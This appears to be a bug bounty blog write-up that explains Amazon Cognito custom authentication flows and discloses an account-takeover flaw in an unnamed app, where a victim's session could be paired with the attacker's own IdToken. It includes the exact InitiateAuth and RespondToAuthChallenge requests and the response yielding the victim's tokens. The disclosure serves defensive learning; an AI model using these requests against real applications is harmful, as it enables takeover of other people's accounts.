# AWS Cognito Chaos: The Major Flaw That Let Attackers Takeover User Accounts

&lt;!-- Nykros -- &gt;

### What’s Up, Everyone?

Hope y’all are doing awesome! In this post, I’m gonna spill the beans on a bug I discovered while poking around a public program, I won’t be dropping any details about the actual target—just the relevant bits about how it uses **Amazon Cognito** for its auth and user management.

---

# Quick Intro to Amazon Cognito

Amazon Cognito basically hooks you up with easy sign-up, sign-in, and user access controls for websites and apps. Users can log in using a regular ol’ username and password or go through social login options like Google, Apple, or Facebook.

**Two core pieces of Cognito:**

1. **User Pools**: They’re like user directories that handle registration and login flows.
    
2. **Identity Pools**: Let you give your users access to other AWS stuff.
    

## Typical Cognito Scenarios

### 1\. Signing in with a User Pool

* You can let your users sign in straight through Cognito or via a third-party IdP (like Google or Facebook).
    
* After a successful login, Cognito returns tokens that can be used to call protected APIs or to access other AWS services.
    

### 2\. Using Cognito for Server-Side Access

* Once you’re signed in, you get tokens from Cognito.
    
* These tokens can help you manage who can do what on your server.
    
* You can also create user pool groups to organize and limit permissions for different people.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757493483781/68aa0655-e53f-40b0-b14c-ddab8150a1ce.png align="left")
    

## Key Authentication Flows

### 1\. Client-Side Auth Flow

* The user types in their username and password.
    
* The app calls `InitiateAuth` with Secure Remote Password (SRP) details.
    
* The app calls `RespondToAuthChallenge`. If everything checks out, Cognito gives back tokens. If more proof (like MFA) is needed, Cognito gives you a `session` instead.
    
* If you do get a `session`, you’ll call `RespondToAuthChallenge` again with that MFA code or whatever else is needed.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757493527142/679ac21e-d66f-4539-95c9-2eec56ac3242.png align="left")
    

### 2\. Custom Auth Flow

Cognito also lets you create a **custom** authentication flow using AWS Lambda triggers. Basically, Cognito provides the underlying “plumbing” (the triggers, challenge/response structure), but you have to write the logic that powers each step in the flow. This means you’re on the hook for coding the security checks correctly.

* **InitiateAuth**: Tells Cognito you’re going for a custom flow (`CUSTOM_AUTH`) and provides some initial user details.
    
* **RespondToAuthChallenge**: If Cognito says “we need a challenge,” you gather the required data (like an MFA code) and send it back with the current `session`. You keep repeating until the user logs in successfully or you hit an error.
    

### Custom Flow & Challenges

When you do a custom flow:

1. **DefineAuthChallenge**: Figures out what the next challenge is, based on previous attempts.
    
2. **CreateAuthChallenge**: Makes the actual challenge details.
    
3. **VerifyAuthChallengeResponse**: Checks if the user’s answer to the challenge is correct.
    

> Heads up: This is exactly where the vulnerability in our story came from—the developer’s code in these triggers didn’t verify that the IdToken actually belonged to the same user who owned the session. Cognito itself doesn’t enforce that; it just links the steps together. So if you don’t handle the logic securely, you risk letting attackers mix and match tokens and sessions.

You can blend these custom steps with built-in ones like SRP password verification or SMS-based MFA. You can even get extra fancy with CAPTCHAs or knowledge-based questions.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757493563203/c59a49ac-62fb-4aea-9d5f-60be8e2d44df.png align="center")

## Tokens in Cognito

1. **ID Token**: A JWT that holds user info (like name, email, phone). It’s used to authenticate your user on server resources.
    
2. **Access Token**: Lists user privileges, groups, and scopes. Use it to call protected endpoints or let your users update their profiles.
    
3. **Refresh Token**: Used to snag new ID and Access tokens. By default, it expires after 30 days, but you can tweak that timeframe to anything from 60 minutes up to 10 years.
    

---

# The Recon Rundown

**Scope**:

* Sign-up
    
* Sign-in
    
* OAuth (if available)
    

### Acting Like a Regular User

I signed up with an email and password—no big surprises there. I also tested signing up with Google OAuth, which took a second or two longer than usual. Plus, I noticed there wasn’t an option to change the email or unlink Google once connected.

### Deep Dive into the Requests

Using BurpSuite, I zeroed in on OAuth-related calls. Typically, the flow looked like this:

1. **Click “Sign in with Google”**: You get sent to Google for authentication.
    
2. **Token Exchange**: Cognito receives the OAuth code from Google and trades it for tokens. At this stage, the JWT’s email claim wasn’t marked “verified” yet.
    
3. **Link Google Username**: The client app calls an API endpoint that links the Google account to the local user account, passing an `IdToken` in the headers.
    
4. **Finishing Up**: Finally, the app calls `InitiateAuth` and `RespondToAuthChallenge` with a custom challenge name from AWS Lambda triggers. That’s where the code verifies the `IdToken` and username, returning user-specific tokens. Or at least, that’s how it’s **supposed** to work when done securely.
    

## The Attack Scenario

At some point, I asked myself:

> What if I snag a valid session for another user and pair it with my own valid IdToken in the RespondToAuthChallenge call?

Turns out:

* The session is indeed checked to see if it lines up with the correct username.
    
* The `IdToken` is checked to see if it’s valid (i.e., not expired).
    
* **However**, there wasn’t any code linking that `IdToken` to the specific session or user. That’s because the dev who wrote the custom challenge logic didn’t do that last piece of validation!
    

So you could basically combine a victim’s session with your own `IdToken`—Cognito’s framework wouldn’t blow the whistle, because it only sees that “the session is valid” and “the token is valid.” It never checks if they belong together.

---

# How to Exploit (Attacker’s Point of View)

1. **Attacker Logs In**
    
    * The attacker logs into their own account to get a valid `IdToken`.
        
2. **Attacker Snags Victim’s Session**
    
    * Fire off a `POST` to `InitiateAuth`:
        
        ```yaml
        POST / HTTP/2
        Host: cognito-idp.us-east-1.amazonaws.com
        X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth
        Content-Type: application/x-amz-json-1.1
        ...
        {
          "AuthFlow": "CUSTOM_AUTH",
          "ClientId": "targetAppClientId",
          "AuthParameters": {
            "USERNAME": "VICTIM_EMAIL"
          },
          "ClientMetadata": {}
        }
        ```
        
    * The response has the victim’s `username` and `session`:
        
        ```json
        {
          "ChallengeName": "CUSTOM_CHALLENGE",
          "ChallengeParameters": {
            "USERNAME": "VICTIM_USERNAME",
            "email": "VICTIM_EMAIL"
          },
          "Session": "VICTIM_SESSION"
        }
        ```
        
        ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757493900431/909a83a4-c0b8-4133-b30d-6dac1d2ce70d.png align="left")
        
3. **Attacker Mashes Up Their** `IdToken` with Victim’s Session
    
    * Send another `POST` to `RespondToAuthChallenge`:
        
        ```yaml
        POST / HTTP/2
        Host: cognito-idp.us-east-1.amazonaws.com
        X-Amz-Target: AWSCognitoIdentityProviderService.RespondToAuthChallenge
        Content-Type: application/x-amz-json-1.1
        ...
        {
          "ChallengeName": "CUSTOM_CHALLENGE",
          "ChallengeResponses": {
            "USERNAME": "VICTIM_USERNAME",
            "ANSWER": "ATTACKER_IdToken"
          },
          "ClientId": "targetAppClientId",
          "Session": "VICTIM_SESSION"
        }
        ```
        
    * Even though the `ANSWER` (the `IdToken`) belongs to the attacker, Cognito ends up returning the victim’s tokens:
        
        ```json
        {
          "AuthenticationResult": {
            "AccessToken": "VICTIM_ACCESS_TOKEN",
            "ExpiresIn": 3600,
            "IdToken": "VICTIM_ID_TOKEN",
            "RefreshToken": "VICTIM_REFRESH_TOKEN",
            "TokenType": "Bearer"
          },
          "ChallengeParameters": {}
        }
        ```
        

**End result**: The attacker gets the victim’s tokens and can now access the victim’s account.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1757493966207/5307f061-f6dd-4f70-9b44-2ca1dcf80530.png align="center")

---

# Wrapping It Up

This vulnerability exists because **the developer** who set up the custom auth flow **didn’t include a check** to ensure that the `IdToken` and the user session actually belong to the same person. Amazon Cognito only provides the building blocks. It’s up to you (or your team) to make sure your custom challenge code does all the proper validations.

---

**If you found this article helpful, feel free to share it.**

**LinkedIn:** [**Hossam Ahmed**](https://www.linkedin.com/in/iknowhatodo)
